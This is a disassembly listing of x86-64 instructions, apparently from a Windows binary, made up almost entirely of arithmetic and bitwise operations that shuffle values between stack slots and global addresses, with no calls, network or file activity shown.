mov rax, qword [rsp + 0x7850]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x23e]
sub eax, ecx
mov byte [rsp + 0xb0], al
movzx eax, word [rsp + 0xc0c]
mov word [rsp + 0x1074], ax
mov rax, qword [rsp + 0x8340]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x57b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x76b0]
mov byte [rcx], al
lea rax, [rsp + 0x2c5c]
mov qword [rsp + 0x9360], rax
mov rax, qword [rsp + 0x5338]
mov rcx, qword [rsp + 0x7d18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x91d0], rax
mov rax, qword [rsp + 0x8ec0]
mov rcx, qword [rsp + 0x5a70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8c80]
mov qword [rcx], rax
lea rax, [0x140178e6c]
mov qword [rsp + 0x9368], rax
movzx eax, byte [rsp + 0x1fe]
mov byte [0x14017a22f], al
movzx eax, word [rsp + 0xc70]
movzx ecx, word [rsp + 0x9b4]
and eax, ecx
mov word [rsp + 0xeb8], ax
movzx eax, word [rsp + 0xfb4]
mov word [rsp + 0x1078], ax
mov rax, qword [rsp + 0x5ae0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x67b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe3], al
movsx eax, word [rsp + 0xa88]
mov rcx, qword [rsp + 0x5e18]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5208]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c10]
mov rax, qword [rax]
mov qword [rsp + 0x9370], rax
mov eax, dword [rsp + 0x30a4]
mov ecx, dword [0x14017a064]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ed4], eax
mov eax, dword [rsp + 0x2a60]
mov dword [rsp + 0x3208], eax
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x8608]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x59a8]
mov qword [rcx], rax
lea rax, [0x14017a0ca]
mov qword [0x14017a968], rax
mov rax, qword [rsp + 0x5d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6200]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x75], al
movzx eax, byte [rsp + 0x1f2]
mov byte [rsp + 0x271], al
movsx eax, word [rsp + 0x870]
mov rcx, qword [rsp + 0x8e50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c30]
mov word [rcx], ax
movzx eax, word [rsp + 0xa50]
mov word [rsp + 0x107c], ax
mov eax, dword [rsp + 0x310c]
mov ecx, dword [rsp + 0x2f34]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6da8]
mov dword [rcx], eax
mov rax, qword [0x140178e78]
mov qword [rsp + 0x9378], rax
mov rax, qword [rsp + 0x5808]
mov rcx, qword [rsp + 0x6910]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5e58], rax
mov rax, qword [rsp + 0x5b80]
mov rcx, qword [rsp + 0x75b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2fa4], eax
movsx eax, word [rsp + 0xb3c]
mov rcx, qword [rsp + 0x6c50]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140179020], ax
lea rax, [rsp + 0xcd]
mov qword [rsp + 0x9380], rax
movzx eax, byte [rsp + 0x8e]
mov rcx, qword [rsp + 0x7850]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x169], al
movzx eax, word [rsp + 0xa74]
mov word [rsp + 0x1080], ax
movzx eax, word [rsp + 0x964]
mov rcx, qword [rsp + 0x7cc8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a20]
mov word [rcx], ax
mov rax, qword [rsp + 0x5da0]
mov rcx, qword [rsp + 0x58c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5550], rax
mov rax, qword [rsp + 0x63a0]
mov eax, dword [rax]
mov dword [rsp + 0x320c], eax
mov rax, qword [rsp + 0x64b8]
mov rcx, qword [rsp + 0x6d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d08]
mov rax, qword [rax]
mov qword [rsp + 0x9388], rax
lea rax, [0x140178ede]
mov qword [0x14017a970], rax
movsx eax, byte [rsp + 0x1c2]
mov rcx, qword [rsp + 0x5b30]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0x6188]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8890]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb74], ax
movzx eax, word [0x14017a4d8]
mov word [rsp + 0x1084], ax
mov rax, qword [rsp + 0x6878]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a48]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0x7368]
mov eax, dword [rax]
mov dword [rsp + 0x3210], eax
mov rax, qword [0x140178e78]
mov rcx, qword [rsp + 0x6390]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6b68], rax
lea rax, [rsp + 0x2bdc]
mov qword [rsp + 0x9390], rax
mov rax, qword [rsp + 0x5950]
movzx ecx, al
mov rax, qword [rsp + 0x8c40]
sar rax, cl
mov qword [rsp + 0x7270], rax
mov rax, qword [0x14017a358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x978]
add eax, ecx
mov rcx, qword [0x14017a3a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x56d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5fc8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xecc], ax
lea rax, [rsp + 0xa5]
mov qword [rsp + 0x9398], rax
movsx eax, byte [0x140178eb6]
mov rcx, qword [rsp + 0x76d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x202], al
movzx eax, word [rsp + 0xd1c]
mov word [rsp + 0x1088], ax
mov rax, qword [rsp + 0x6228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5d88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7908], rax
mov rax, qword [rsp + 0x86c0]
mov ecx, dword [rsp + 0x2bbc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d18], eax
mov rax, qword [rsp + 0x7618]
mov rax, qword [rax]
mov qword [rsp + 0x93a0], rax
mov eax, dword [rsp + 0x2a84]
mov ecx, dword [rsp + 0x31ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x301c], eax
movzx eax, byte [rsp + 0x21c]
mov rcx, qword [rsp + 0x7ce8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a458]
mov byte [rcx], al
mov rax, qword [rsp + 0x5660]
movzx eax, word [rax]
mov word [rsp + 0x108c], ax
mov rax, qword [rsp + 0x5b30]
movsx eax, byte [rax]
mov rcx, qword [0x14017a748]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x71], al
movsx eax, word [rsp + 0xfc0]
mov rcx, qword [rsp + 0x6d40]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9330]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8d]
mov byte [rsp + 0x272], al
mov rax, qword [0x14017a058]
mov rcx, qword [rsp + 0x6630]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9018], rax
mov rax, qword [rsp + 0x5f68]
mov rax, qword [rax]
mov qword [rsp + 0x93a8], rax
mov rax, qword [rsp + 0x7068]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x30a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3118], eax
mov rax, qword [rsp + 0x50c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x304c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5060]
mov dword [rcx], eax
mov rax, qword [rsp + 0x64d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfd8]
shl eax, cl
mov word [0x140179030], ax
mov rax, qword [rsp + 0x7278]
movzx eax, word [rax]
mov word [rsp + 0x1090], ax
mov rax, qword [rsp + 0x7918]
movzx eax, byte [rax]
mov rcx, qword [0x14017a618]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x108], al
mov rax, qword [rsp + 0x5690]
movzx eax, word [rax]
mov word [rsp + 0x1094], ax
movsx eax, byte [rsp + 0xa1]
movsx ecx, byte [rsp + 0xd7]
sar eax, cl
mov rcx, qword [rsp + 0x6be8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6fa8]
mov qword [rsp + 0x93b0], rax
mov rax, qword [rsp + 0x7390]
mov ecx, dword [rsp + 0x2dfc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2af8], eax
mov rax, qword [rsp + 0x5860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5d08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6030]
mov qword [rcx], rax
mov rax, qword [rsp + 0x73f8]
mov eax, dword [rax]
mov dword [rsp + 0x3214], eax
movsx eax, word [rsp + 0xb30]
movsx ecx, word [rsp + 0xf54]
add eax, ecx
mov word [rsp + 0xf70], ax
lea rax, [rsp + 0x120]
mov qword [0x14017a978], rax
movzx eax, byte [rsp + 0x188]
mov byte [rsp + 0x273], al
movzx eax, word [rsp + 0x1030]
mov rcx, qword [rsp + 0x8510]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xef0], ax
mov rax, qword [rsp + 0x7300]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe3]
sub eax, ecx
mov byte [rsp + 0x195], al
lea rax, [rsp + 0x3074]
mov qword [rsp + 0x93b8], rax
mov rax, qword [rsp + 0x8f90]
mov eax, dword [rax]
mov ecx, dword [0x140178e6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a50], eax
mov rax, qword [rsp + 0x73d0]
mov qword [rsp + 0x93c0], rax
mov rax, qword [rsp + 0x4f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5a68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5740]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf0c]
sub eax, ecx
mov rcx, qword [rsp + 0x58d0]
mov word [rcx], ax
movsx eax, word [rsp + 0x90c]
movsx ecx, word [rsp + 0xfe0]
sub eax, ecx
mov rcx, qword [0x14017a920]
mov word [rcx], ax
mov rax, qword [0x14017a588]
movzx eax, byte [rax]
mov byte [rsp + 0x274], al
mov rax, qword [rsp + 0x6258]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21a]
xor eax, ecx
mov rcx, qword [rsp + 0x8910]
mov byte [rcx], al
lea rax, [rsp + 0x8dc]
mov qword [rsp + 0x93c8], rax
mov rax, qword [rsp + 0x8d68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b60]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
mov eax, dword [rsp + 0x3040]
mov dword [rsp + 0x3218], eax
mov eax, dword [rsp + 0x2c58]
mov rcx, qword [rsp + 0x9248]
mov qword [rsp + 0x93d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x93d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2aac], eax
mov rax, qword [rsp + 0x6930]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5d88]
sar rax, cl
mov rcx, qword [rsp + 0x8488]
mov qword [rcx], rax
lea rax, [rsp + 0x86]
mov qword [rsp + 0x93d8], rax
mov rax, qword [rsp + 0x73c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f3]
and eax, ecx
mov rcx, qword [0x14017a2f8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x24e]
mov rcx, qword [rsp + 0x88f0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1e1], al
mov rax, qword [rsp + 0x7340]
movzx eax, word [rax]
mov word [rsp + 0x1098], ax
mov rax, qword [rsp + 0x5298]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdd8]
add eax, ecx
mov rcx, qword [rsp + 0x9110]
mov word [rcx], ax
mov rax, qword [rsp + 0x5150]
mov rcx, qword [rsp + 0x67b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2e34], eax
mov rax, qword [rsp + 0x77f0]
mov qword [rsp + 0x93e0], rax
mov rax, qword [rsp + 0x4dc8]
mov ecx, dword [rsp + 0x2cf4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3088], eax
mov rax, qword [rsp + 0x7b28]
mov qword [rsp + 0x93e8], rax
movzx eax, word [rsp + 0xf7c]
mov rcx, qword [rsp + 0x5ec0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x104c], ax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7340]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140179034], ax
movzx eax, word [rsp + 0x97c]
movzx ecx, word [rsp + 0xd90]
sub eax, ecx
mov word [rsp + 0x884], ax
lea rax, [rsp + 0x162]
mov qword [rsp + 0x93f0], rax
movsx eax, byte [rsp + 0x262]
movsx ecx, byte [rsp + 0x104]
sub eax, ecx
mov byte [rsp + 0x229], al
lea rax, [rsp + 0x988]
mov qword [rsp + 0x93f8], rax
mov eax, dword [rsp + 0x2dc8]
mov ecx, dword [rsp + 0x2d0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c28], eax
mov rax, qword [rsp + 0x8df8]
mov rcx, qword [rsp + 0x55c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5f88]
mov qword [rcx], rax
lea rax, [rsp + 0x2b58]
mov qword [rsp + 0x9400], rax
mov rax, qword [rsp + 0x61c8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8288]
shr rax, cl
mov rcx, qword [rsp + 0x60b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ab8]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a142]
or eax, ecx
mov byte [0x140178ed7], al
movzx eax, byte [rsp + 0x23c]
mov byte [rsp + 0x275], al
movzx eax, word [rsp + 0xe44]
mov rcx, qword [rsp + 0x8310]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6b90]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1fd]
mov byte [rsp + 0x276], al
mov rax, qword [0x14017a1c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9f8]
and eax, ecx
mov rcx, qword [rsp + 0x7210]
mov word [rcx], ax
mov rax, qword [rsp + 0x8180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3148]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x64f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x30d4]
mov dword [rsp + 0x321c], eax
mov rax, qword [rsp + 0x6868]
mov rcx, qword [rsp + 0x9108]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8d30]
mov qword [rcx], rax
lea rax, [rsp + 0x58e8]
mov qword [rsp + 0x9408], rax
lea rax, [rsp + 0xa44]
mov qword [0x14017a980], rax
movzx eax, byte [reloc.SHELL32.dll_PathMakeUniqueName]
movzx ecx, byte [rsp + 0x1fe]
add eax, ecx
mov rcx, qword [rsp + 0x4e78]
mov byte [rcx], al
mov rax, qword [rsp + 0x7bd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb7]
add eax, ecx
mov byte [rsp + 0x151], al
lea rax, [rsp + 0xf68]
mov qword [rsp + 0x9410], rax
movzx eax, byte [rsp + 0x25c]
movzx ecx, byte [rsp + 0x1a3]
sub eax, ecx
mov rcx, qword [rsp + 0x6a48]
mov byte [rcx], al
lea rax, [rsp + 0x8308]
mov qword [rsp + 0x9418], rax
mov rax, qword [rsp + 0x5e90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6438]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7828], rax
mov rax, qword [rsp + 0x6f60]
mov eax, dword [rax]
mov ecx, dword [0x140178e6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a44], eax
lea rax, [rsp + 0x2cec]
mov qword [rsp + 0x9420], rax
movzx eax, word [rsp + 0xc8c]
mov word [0x14017a988], ax
mov rax, qword [rsp + 0x83f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd4c]
add eax, ecx
mov word [rsp + 0xa74], ax
movzx eax, word [rsp + 0x924]
mov word [rsp + 0x109c], ax
movsx eax, byte [rsp + 0x1e2]
movsx ecx, byte [rsp + 0x185]
sub eax, ecx
mov byte [rsp + 0x184], al
mov rax, qword [rsp + 0x6f68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x150]
sar eax, cl
mov rcx, qword [rsp + 0x4ec0]
mov byte [rcx], al
lea rax, [rsp + 0x6d48]
mov qword [rsp + 0x9428], rax
mov rax, qword [rsp + 0x8a70]
mov rcx, qword [rsp + 0x58f8]
mov qword [rsp + 0x9430], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9430]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x7490]
mov qword [rcx], rax
mov eax, dword [0x140178e8c]
mov dword [rsp + 0x3220], eax
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cbc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8528]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7248]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6220]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017a5a8]
mov word [rcx], ax
lea rax, [rsp + 0xef8]
mov qword [rsp + 0x9438], rax
mov rax, qword [rsp + 0x6628]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x82]
and eax, ecx
mov byte [rsp + 0x1c5], al
mov rax, qword [rsp + 0x5430]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x66e8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x270], al
lea rax, [rsp + 0xe14]
mov qword [rsp + 0x9440], rax
mov rax, qword [rsp + 0x62a8]
mov rcx, qword [rsp + 0x9098]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6e58], rax
mov rax, qword [rsp + 0x9200]
mov eax, dword [rax]
mov dword [rsp + 0x3224], eax
mov rax, qword [rsp + 0x5ee8]
mov rcx, qword [rsp + 0x8620]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7f68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69a8]
mov rcx, qword [rsp + 0x7b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5ae0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7130]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178f3e], al
movzx eax, word [rsp + 0xdd0]
mov word [rsp + 0x10a0], ax
mov rax, qword [rsp + 0x4e38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6220]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6fc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6888]
movzx eax, byte [rax]
mov byte [rsp + 0x277], al
mov rax, qword [rsp + 0x6998]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x112]
and eax, ecx
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0x74d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ef0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6f80]
mov dword [rcx], eax
lea rax, [rsp + 0x8048]
mov qword [rsp + 0x9448], rax
mov rax, qword [rsp + 0x6f78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5b00]
mov qword [rsp + 0x9450], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9450]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2cc4], eax
mov rax, qword [rsp + 0x5b60]
mov rax, qword [rax]
mov qword [rsp + 0x9458], rax
mov rax, qword [rsp + 0x6518]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x92e8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14017a458]
mov byte [rcx], al
mov rax, qword [0x14017a8b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6888]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8370]
mov byte [rcx], al
lea rax, [rsp + 0x9c4]
mov qword [rsp + 0x9460], rax
mov rax, qword [rsp + 0x8978]
movzx eax, word [rax]
mov rcx, qword [0x14017a698]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf64], ax
mov rax, qword [rsp + 0x5378]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8960]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5b10]
mov word [rcx], ax
mov rax, qword [rsp + 0x53d0]
mov eax, dword [rax]
mov dword [rsp + 0x3228], eax
mov rax, qword [rsp + 0x93a8]
mov rcx, qword [rsp + 0x58a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a90], rax
lea rax, [rsp + 0x2eb0]
mov qword [rsp + 0x9468], rax
mov rax, qword [rsp + 0x7e80]
mov rcx, qword [rsp + 0x7da0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7548], rax
mov rax, qword [rsp + 0x6560]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x144]
sub eax, ecx
mov byte [0x140178f3f], al
movsx eax, word [rsp + 0x1078]
mov rcx, qword [rsp + 0x6350]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d20]
mov word [rcx], ax
lea rax, [rsp + 0x9ec]
mov qword [rsp + 0x9470], rax
movzx eax, byte [rsp + 0x181]
movzx ecx, byte [rsp + 0x1df]
add eax, ecx
mov byte [rsp + 0x12c], al
movzx eax, byte [rsp + 0x1ca]
mov byte [rsp + 0x278], al
mov rax, qword [rsp + 0x6648]
mov rcx, qword [rsp + 0x55b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5420]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5368]
mov rcx, qword [rsp + 0x7a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2cf8], eax
mov rax, qword [rsp + 0x6868]
mov rax, qword [rax]
mov qword [rsp + 0x9478], rax
mov rax, qword [rsp + 0x8190]
mov ecx, dword [rsp + 0x2908]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov dword [rcx], eax
lea rax, [rsp + 0x1de]
mov qword [rsp + 0x9480], rax
mov rax, qword [rsp + 0x6b90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8560]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14017a630]
mov word [rcx], ax
mov rax, qword [rsp + 0x91c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8f0]
shl eax, cl
mov word [rsp + 0x8e8], ax
mov rax, qword [0x14017a4f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5e60]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6490]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1c7]
mov byte [rsp + 0x279], al
mov rax, qword [rsp + 0x6098]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x63a0]
mov qword [rsp + 0x9488], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9488]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2d64], eax
mov rax, qword [0x14017a058]
mov qword [rsp + 0x9490], rax
mov rax, qword [rsp + 0x8720]
mov rcx, qword [rsp + 0x8a58]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6838]
mov qword [rsp + 0x9498], rax
movsx eax, byte [0x140178ed6]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x137], al
movsx eax, word [rsp + 0xd28]
mov rcx, qword [rsp + 0x7dd8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a540], ax
mov rax, qword [rsp + 0x5ae8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa54]
and eax, ecx
mov word [rsp + 0xfe4], ax
lea rax, [rsp + 0x1d9]
mov qword [rsp + 0x94a0], rax
mov rax, qword [rsp + 0x8d20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe9c], ax
mov rax, qword [rsp + 0x58c8]
mov rax, qword [rax]
mov qword [rsp + 0x94a8], rax
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
mov ecx, dword [0x14017a060]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f00], eax
mov rax, qword [rsp + 0x7408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3140]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b00], eax
mov rax, qword [rsp + 0x6950]
mov qword [rsp + 0x94b0], rax
mov rax, qword [0x14017a700]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x106c]
add eax, ecx
mov word [rsp + 0xaa8], ax
lea rax, [rsp + 0x250]
mov qword [0x14017a990], rax
movzx eax, byte [rsp + 0x24f]
mov byte [rsp + 0x27a], al
movsx eax, byte [rsp + 0x59]
mov rcx, qword [0x14017a910]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6da0]
mov byte [rcx], al
movzx eax, word [rsp + 0x107c]
mov rcx, qword [rsp + 0x6b60]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x89d0]
mov word [rcx], ax
lea rax, [rsp + 0x2d40]
mov qword [rsp + 0x94b8], rax
mov rax, qword [rsp + 0x52a0]
mov rcx, qword [rsp + 0x64e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8b48]
mov qword [rcx], rax
lea rax, [rsp + 0x6df8]
mov qword [rsp + 0x94c0], rax
mov eax, dword [rsp + 0x2c90]
mov ecx, dword [rsp + 0x2a78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a80], eax
lea rax, [rsp + 0x127]
mov qword [rsp + 0x94c8], rax
lea rax, [rsp + 0xf6]
mov qword [0x14017a998], rax
movzx eax, word [rsp + 0xf4c]
movzx ecx, word [rsp + 0x8a8]
or eax, ecx
mov word [rsp + 0x8c0], ax
movzx eax, word [rsp + 0xcf8]
mov rcx, qword [0x14017a7f0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5640]
mov word [rcx], ax
lea rax, [rsp + 0x924]
mov qword [rsp + 0x94d0], rax
mov rax, qword [rsp + 0x6b20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8340]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1ab], al
lea rax, [rsp + 0x31fc]
mov qword [rsp + 0x94d8], rax
mov eax, dword [rsp + 0x2f34]
movzx ecx, al
mov eax, dword [rsp + 0x2ccc]
shl eax, cl
mov dword [rsp + 0x2f10], eax
mov rax, qword [rsp + 0x7b10]
mov rcx, qword [rsp + 0x8518]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x78a8]
mov qword [rcx], rax
lea rax, [rsp + 0x4e40]
mov qword [rsp + 0x94e0], rax
movzx eax, word [rsp + 0xee0]
movzx ecx, word [rsp + 0xed0]
sub eax, ecx
mov word [0x14017a140], ax
mov rax, qword [rsp + 0x5db8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8408]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xed8], ax
lea rax, [rsp + 0x227]
mov qword [rsp + 0x94e8], rax
movzx eax, byte [rsp + 0x1ea]
mov rcx, qword [rsp + 0x6af8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xde], al
mov rax, qword [rsp + 0x6b48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfd0]
add eax, ecx
mov word [rsp + 0xab8], ax
mov eax, dword [0x140178e6c]
mov dword [rsp + 0x322c], eax
mov rax, qword [rsp + 0x9200]
mov rcx, qword [rsp + 0x63b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2fec], eax
mov rax, qword [rsp + 0x67f0]
mov qword [rsp + 0x94f0], rax
mov rax, qword [rsp + 0x94c0]
mov rcx, qword [rsp + 0x7948]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5c80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14d]
add eax, ecx
mov rcx, qword [0x14017a278]
mov byte [rcx], al
